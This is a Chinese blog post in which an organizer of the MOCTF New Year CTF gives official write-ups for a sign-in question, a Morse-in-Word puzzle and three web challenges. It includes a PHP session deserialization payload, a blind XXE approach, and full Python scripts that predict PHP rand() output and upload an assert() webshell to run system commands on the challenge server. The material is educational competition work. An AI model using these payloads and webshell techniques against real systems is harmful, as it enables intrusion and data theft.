从放假到现在筹办准备了接近两个星期的MOCTF新春欢乐赛终于落幕啦,这次比赛我一共出了1签到+1MISC+3WEB,下面先放官方WriteUp(哇终于能当一回官方了)
签到
签到 20
1 2 支付宝今年集齐五福能一起平分多少钱? flag格式:moctf{数字}
flag:moctf{500000000}
MISC
空word 100
文件是个word
打开看发现一些奇怪的换行和tab
很容易想到是摩斯密码,替换后得到
1 -.... -.. -.... ..-. -.... ...-- --... ....- -.... -.... --... -... ....- ..--- -.... -.-. ...-- ....- -.... . -.... -... ..... ..-. ...-- ----- --... ..--- ..... ..-. --... ....- -.... .---- -.... ..--- ...-- ..-. --... -..
解摩斯密码,然后hex转字符串得到flag
WEB
登录一哈 300
1 2 登录一下,你就知道。 http://111.230.32.124:6001/
源码放到git里泄露给大家了
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set('session.serialize_handler', 'php_binary'); session_start(); if(isset($_POST['username']) && isset($_POST['password'])){ $username = $_POST['username']; $password = $_POST['password']; $_SESSION["username"] = $username; header("Location:./index.php"); } else if(isset($_SESSION["username"])){ echo '<h1>hello '.$_SESSION["username"].'</h1>'; } else ...
flag.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php session_start(); class MOCTF{ public $flag; public $name; function __destruct(){ $this->flag = "moctf{xxxxxxxxxxxxxxxx}"; if($this->flag == $this->name){ echo "Wow,this is flag:".$this->flag; } } }
看源码就可以知道这道题考查的是session反序列漏洞了
在index.php中php的序列化handler是’php_binary’,而flag.php里没有设置,就是默认的’php’
1 ini_set('session.serialize_handler', 'php_binary');
参考https://blog.spoock.com/2016/10/16/php-serialize-problem/
index.php中的$_session['username']
可控,我们就能构造payload到session,
然后访问flag.php页面就能触发反序列化执行__destruct
了,
这里还有个考点是$this->flag == $this->name
,通过引用的方式绕过。
构造payload
1 2 3 $a = new MOCTF(); $a->name = &$a->flag; echo '|'.serialize($a);
1 |O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}
提交到index.php的username,然后访问flag.php就得到flag了
字符串检查 400
1 2 来检查一下你的字符串是否格式良好吧! http://111.230.32.124:6002/
原意是xxe漏洞读取任意文件
后来知道师傅们卡了很久貌似是因为client-ip
的原因,我的锅
题目打开是个json字符串验证的页面,POST包的Content-Type
字段是application/json
,
POST后接口会返回json格式正确或错误的结果
改成application/xml
,接口提示只允许本机访问,于是构造
然后就是xxe盲打漏洞了,参考https://security.tencent.com/index.php/blog/msg/69
这里我只限制了payload长度为170以内,其实完全可以更短的,希望大佬们可以测试测试
最后flag在/etc/passwd
简单审计 400
1 2 代码都给你了,还说不会做? http://120.78.57.208:6005/
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php error_reporting(0); include('config.php'); header("Content-type:text/html;charset=utf-8"); function get_rand_code($l = 6) { $result = ''; while($l--) { $result .= chr(rand(ord('a'), ord('z'))); } return $result; } function test_rand_code() { $ip=$_SERVER['REMOTE_ADDR']; $code=get_rand_code(); $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); @socket_connect($socket, $ip, 8888); @socket_write($socket, $code.PHP_EOL); @socket_close($socket); die('test ok!'); } function upload($filename, $content,$savepath) { $AllowedExt = array('bmp','gif','jpeg','jpg','png'); if(!is_array($filename)) { $filename = explode('.', $filename); } if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){ die('error ext!'); } $code=get_rand_code(); $finalname=$filename[0].'moctf'.$code.".".end($filename); file_put_contents("$savepath".$finalname, $content); usleep(3000000); unlink("$savepath".$finalname); die('upload over!'); } $savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/"; if(!is_dir($savepath)){ $oldmask = umask(0); mkdir($savepath, 0777); umask($oldmask); } if(isset($_GET['action'])) { $act=$_GET['action']; if($act==='upload') { $filename=$_POST['filename']; if(!is_array($filename)) { $filename = explode('.', $filename); } $content=$_POST['content']; waf($content); upload($filename,$content,$savepath); } else if($act==='test') { test_rand_code(); } } else { highlight_file('index.php'); } ?>
解释一下题目的意思
根据action执行对应操作,action=test
会调用test_rand_code
函数发送tcp包到访客的ip
action=upload
时会写入一个文件,文件内容有waf拦截,文件名有白名单限制后缀,
然后拼接文件名加入rand的字符串,写入文件,文件写入后过3秒unlink删除
有问题的点有这几个
1.filename检查是用$filename[count($filename)-1]
取的后缀,是按照下标取的,而写入文件时用的是end($filename)
,是取最后一个元素,只要post时提交filename[1]=jpg&filename[0]=php
就能绕过了
2.$content的waf绕过, 绕过即可
3.使用rand()生成随机数,可以被预测,参考https://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/
预期解法是
1.username数组bypass后缀检查,绕过content的waf
2.rand随机数预测+爆破文件名 在unlink之前访问shell
结果大佬们直接非预期解bypass了unlink
打扰了
非预期解参考一叶飘零 师傅的WriteUp
预期解如下
写两个脚本,
listen.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 #监听8888端口,接受6个`get_rand_code`的结果,然后预测接下来一次`get_rand_code`的结果,这里可能不会很准确, #所以需要小幅度爆破,复杂度大概为3^6,反正就跑着呗 #!/usr/bin/env python #-*- coding:utf-8 -*- #by xishir import requests as req import re from socket import * from time import ctime import random import itertools as its import hashlib r=req.session() url="http://120.78.57.208:6005/" def get_rand_list(): HOST = '' PORT = 8888 BUFSIZ = 128 ADDR = (HOST, PORT) tcpSerSock = socket(AF_INET, SOCK_STREAM) tcpSerSock.bind(ADDR) tcpSerSock.listen(5) rand_num=0 l=[] while True: tcpCliSock, addr = tcpSerSock.accept() while True: data = tcpCliSock.recv(BUFSIZ) if not data: break data=data[0:6] print data,l for i in data: l.append(ord(i)+1-ord('a')) rand_num+=1 if rand_num==6: break tcpCliSock.close() tcpSerSock.close() return l def get_salt(l): salt="" for i in range(6): j=len(l) r=(l[j-3]+l[j-31])-1 if r>26: r-=26 #print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1) l.append(r) salt+=chr(r+ord('a')-1) #print salt return salt def get_flag(salt): s=hashlib.sha1('119.23.73.3').hexdigest() url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php' data={"a":"system('cat ../../flag.php');echo '666666';"} r2=r.post(url1,data=data) print salt if '404' not in r2.text: print r2.text get_flag('aaaaaa') l=get_rand_list() salt=get_salt(l) s=0 for i in range(100000): s=s+1 print s words = "10" o=its.product(words,repeat=6) for i in o: s="".join(i) salt2="" for j in range(6): salt2+=chr(ord(salt[j])-int(s[j])) get_flag(salt2) words = "10" o=its.product(words,repeat=6) for i in o: s="".join(i) salt2="" for j in range(6): salt2+=chr(ord(salt[j])+int(s[j])) get_flag(salt2)
put.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #通过`?action=test`调用`test_rand_code`函数发送6次`get_rand_code`结果,一共36个字符, #然后提交一个构造好的`?action=test`,上传shell到服务器,在被删除之前就会被listen爆破得到,没爆破到就多爆破几次 #!/usr/bin/env python #-*- coding:utf-8 -*- #by xishir import requests as req import re r=req.session() url="http://120.78.57.208:6005/?action=" def get_test(): url2=url+"test" r1=r.get(url2) print url2 print r1.text def upload(): data={"filename[4]":"jpg", "filename[2]":"jpg", "filename[1]":"php", "content":"<script language='php'>assert($_POST[a]);</script>", "a":"system('cat ../../flag.php');" } url1=url+"upload" r2=r.post(url1,data=data) print r2.text for i in range(6): get_test() upload()
运行结果如下
感想
讲一下这次比赛我主要干了那些事吧
出题,如上所述
平台搭建,用的是ctfd,docker的方式搭建的,省了很多事
题目部署,除了ping那题,其他的web都是我部署的,尤其是cms那题,反复部署的有点吐,中间有个集大学弟来帮忙,后面比赛的时候还是出了问题
发布题目,emmmmmmmmmm,用ctfd的时候出现了很神奇的情况,在编辑config的时候使用谷歌的自动翻译,保存之后ctfd的web服务就挂掉啦!是个巨坑,现在还不知道咋回事
比赛时候的放题,放hint,运维,水群,哈哈哈哈和大佬们玩耍还是很开心的
放一些后台数据
原来只是想给我们学校和集大的学弟们体验比赛的,不过对外开放也吸引了许多师傅们来做题,虽然运维得很累,但也学到了很多东西(主要是非预期和部署各种奇葩环境)
打一波广告,http://www.moctf.com/
MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步。
最后祝大家新年快乐!